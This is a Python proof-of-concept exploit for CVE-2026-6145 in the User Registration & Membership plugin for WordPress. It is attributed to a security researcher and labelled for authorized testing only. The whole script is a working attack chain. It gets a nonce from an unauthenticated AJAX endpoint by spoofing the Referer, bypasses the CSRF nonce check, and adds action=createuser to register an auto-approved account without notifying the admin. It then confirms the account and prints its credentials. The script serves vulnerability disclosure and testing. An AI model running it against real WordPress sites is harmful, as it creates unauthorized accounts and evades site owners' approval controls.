#!/usr/bin/env python3 """ PoC: CVE-2026-6145 - User Registration & Membership for WordPress (<= 5.1.5) Unauthenticated Admin Approval Bypass via action=createuser CVE: CVE-2026-6145 CWE: CWE-862 (Missing Authorization) CVSS: 5.3 Medium (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) VULNERABILITY CHAIN: 1. Unauthenticated nonce generation via the user_registration_get_recent_nonce wp_ajax_nopriv endpoint (Referer-only check, trivially spoofed) 2. AJAX CSRF nonce bypass via the ur_fallback_submit parameter in the form handler 3. CVE-2026-6145 - Admin approval bypass via action=createuser in $_REQUEST, which causes is_admin_creation_process() to return true without any authentication, authorization, or nonce verification IMPACT: An unauthenticated attacker can register a fully-approved user account on a WordPress site where admin approval is required, without any admin notification being sent. Researcher: Anthony Cihan - Offensive Security Lead, Obviam License: MIT USAGE: python3 poc_admin_approval_bypass.py [options] EXAMPLE: python3 poc_admin_approval_bypass.py http://wp.example.lab 7 LEGAL: For authorized security testing and defensive research only. Use against systems you do not own or do not have explicit written authorization to test is illegal in most jurisdictions. """ import argparse import json import re import sys import time import urllib3 import requests urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def banner(): print("=" * 70) print(" CVE-2026-6145 - Admin Approval Bypass PoC") print(" User Registration & Membership for WordPress <= 5.1.5") print(" CWE-862 (Missing Authorization) | CVSS 5.3") print("=" * 70) print() def step1_get_nonce(target, form_id): """ Obtain a valid WordPress nonce via the unauthenticated user_registration_get_recent_nonce AJAX endpoint. This endpoint is registered as wp_ajax_nopriv and the only protection is a Referer header check, which is trivially spoofed. """ print("[*] STEP 1: Obtaining nonce via unauthenticated AJAX endpoint") url = f"{target}/wp-admin/admin-ajax.php" data = { "action": "user_registration_get_recent_nonce", "form_ids": form_id, "nonce_for": "registration", } headers = {"Referer": target + "/"} try: r = requests.post(url, data=data, headers=headers, verify=False, timeout=15) except requests.RequestException as e: print(f"[-] Network error contacting target: {e}") return None try: resp = r.json() except ValueError: print(f"[-] Non-JSON response from target (HTTP {r.status_code})") return None if resp.get("success") and form_id in resp.get("data", {}): nonce = resp["data"][form_id] print(f"[+] SUCCESS: Got valid nonce for form {form_id}: {nonce}") return nonce print(f"[-] Failed to get nonce. Response: {resp}") return None def step2_register_bypass(target, form_id, nonce, username, email, password): """ Submit a registration via the fallback (non-AJAX) path with: - ur_fallback_submit=1: Bypasses the AJAX CSRF nonce check - action=createuser (GET param): Triggers is_admin_creation_process() to return true, which auto-approves the user and suppresses the admin notification email (CVE-2026-6145) The is_admin_creation_process() method only checks: return ( isset( $_REQUEST['action'] ) && 'createuser' == $_REQUEST['action'] ); No capability check, no nonce verification, no authentication check. """ print("[*] STEP 2: Registering user with admin approval bypass") print(f" Username: {username}") print(f" Email: {email}") # PHP's $_REQUEST merges GET and POST. With no 'action' key in the POST body, # the GET param wins and is_admin_creation_process() returns true. url = f"{target}/?action=createuser" form_data = json.dumps([ { "field_name": "user_login", "value": username, "field_type": "user_login", "label": "Username", "extra_params": {"field_key": "user_login", "label": "Username"}, }, { "field_name": "user_email", "value": email, "field_type": "user_email", "label": "User Email", "extra_params": {"field_key": "user_email", "label": "User Email"}, }, { "field_name": "user_pass", "value": password, "field_type": "user_pass", "label": "User Password", "extra_params": {"field_key": "user_pass", "label": "User Password"}, }, { "field_name": "user_confirm_password", "value": password, "field_type": "user_confirm_password", "label": "Confirm Password", "extra_params": {"field_key": "user_confirm_password", "label": "Confirm Password"}, }, ]) post_data = { "ur_fallback_submit": "1", # AJAX nonce bypass "form_id": form_id, "form_data": form_data, "ur_frontend_form_nonce": nonce, "_wpnonce": nonce, } headers = {"Referer": f"{target}/"} try: r = requests.post( url, data=post_data, headers=headers, verify=False, allow_redirects=False, timeout=15 ) except requests.RequestException as e: print(f"[-] Network error during registration: {e}") return False if r.status_code not in (200, 302): print(f"[-] Unexpected response: HTTP {r.status_code}") return False if "Username already exists" in r.text or "Email already exists" in r.text: print("[-] User already exists (previously created)") return False print(f"[+] Registration request processed (HTTP {r.status_code})") return True def step3_verify_bypass(target, username, form_id, nonce): """ Verify the bypass worked by attempting to re-register the same username via the standard AJAX path. A 'username already exists' error confirms the account was successfully created in step 2. """ print("[*] STEP 3: Verifying user was created") ajax_url = f"{target}/wp-admin/admin-ajax.php" # Refresh nonce for the AJAX path nonce_data = { "action": "user_registration_get_recent_nonce", "form_ids": form_id, "nonce_for": "registration", } try: r = requests.post( ajax_url, data=nonce_data, headers={"Referer": target + "/"}, verify=False, timeout=15 ) fresh_nonce = r.json().get("data", {}).get(form_id, nonce) except (requests.RequestException, ValueError): fresh_nonce = nonce # Pull the AJAX form data save nonce from a rendered form page save_nonce = "" try: page_r = requests.get(target, verify=False, timeout=15) m = re.search(r'user_registration_form_data_save":"([a-f0-9]+)"', page_r.text) if m: save_nonce = m.group(1) except requests.RequestException: pass form_data = json.dumps([ { "field_name": "user_login", "value": username, "field_type": "user_login", "label": "Username", "extra_params": {"field_key": "user_login", "label": "Username"}, }, { "field_name": "user_email", "value": f"{username}@verify-test.local", "field_type": "user_email", "label": "User Email", "extra_params": {"field_key": "user_email", "label": "User Email"}, }, { "field_name": "user_pass", "value": "Test123!@#", "field_type": "user_pass", "label": "User Password", "extra_params": {"field_key": "user_pass", "label": "User Password"}, }, { "field_name": "user_confirm_password", "value": "Test123!@#", "field_type": "user_confirm_password", "label": "Confirm Password", "extra_params": {"field_key": "user_confirm_password", "label": "Confirm Password"}, }, ]) data = { "action": "user_registration_user_form_submit", "security": save_nonce, "form_id": form_id, "form_data": form_data, "ur_frontend_form_nonce": fresh_nonce, } try: r = requests.post( ajax_url, data=data, headers={"Referer": target + "/"}, verify=False, timeout=15 ) resp = r.json() except (requests.RequestException, ValueError): print("[?] Could not verify user creation via AJAX") return False messages = resp.get("data", {}).get("message", []) if isinstance(messages, list): for msg in messages: if isinstance(msg, dict) and "user_login" in msg: if "already exists" in msg["user_login"]: print(f"[+] CONFIRMED: User '{username}' exists in the database") return True if not resp.get("success") and "already exists" in str(messages): print(f"[+] CONFIRMED: User '{username}' exists in the database") return True print("[?] Could not verify user creation via AJAX") return False def parse_args(): parser = argparse.ArgumentParser( description=( "PoC for CVE-2026-6145: unauthenticated admin approval bypass in " "the User Registration & Membership plugin for WordPress (<= 5.1.5)." ), epilog=( "For authorized security testing and defensive research only. " "Use against systems without written authorization is illegal." ), formatter_class=argparse.RawDescriptionHelpFormatter, ) parser.add_argument( "target", help="Target WordPress base URL, e.g. http://wp.example.lab", ) parser.add_argument( "form_id", help="Registration form ID (visible in form page source as data-form-id)", ) parser.add_argument( "--username", help="Username for the test account (default: poc_bypass_)", ) parser.add_argument( "--email", help="Email for the test account (default: @security-research.local)", ) parser.add_argument( "--password", default="P0C_Bypass_P@ss!", help="Password for the test account (default: P0C_Bypass_P@ss!)", ) return parser.parse_args() def main(): banner() args = parse_args() target = args.target.rstrip("/") form_id = args.form_id timestamp = str(int(time.time())) username = args.username or f"poc_bypass_{timestamp}" email = args.email or f"{username}@security-research.local" password = args.password print(f"[*] Target: {target}") print(f"[*] Form ID: {form_id}") print() # Step 1 nonce = step1_get_nonce(target, form_id) if not nonce: print("[-] FAILED: Could not obtain nonce. Exiting.") sys.exit(1) print() # Step 2 if not step2_register_bypass(target, form_id, nonce, username, email, password): print("[-] Registration step did not return success. Checking anyway...") print() # Step 3 verified = step3_verify_bypass(target, username, form_id, nonce) print() # Summary print("=" * 70) print(" RESULTS") print("=" * 70) print(" Unauthenticated Nonce Generation: CONFIRMED") print(" AJAX Nonce Bypass: CONFIRMED") status = "CONFIRMED" if verified else "NEEDS MANUAL VERIFICATION" print(f" Admin Approval Bypass (CVE-2026-6145): {status}") print() print(f" Created User: {username}") print(f" Email: {email}") print(f" Password: {password}") print() if verified: print(" [!] User was created with AUTO-APPROVED status") print(" [!] Admin was NOT notified of this registration") print(" [!] Verify in WP Admin > Users to confirm 'Approved' status") print("=" * 70) if __name__ == "__main__": main()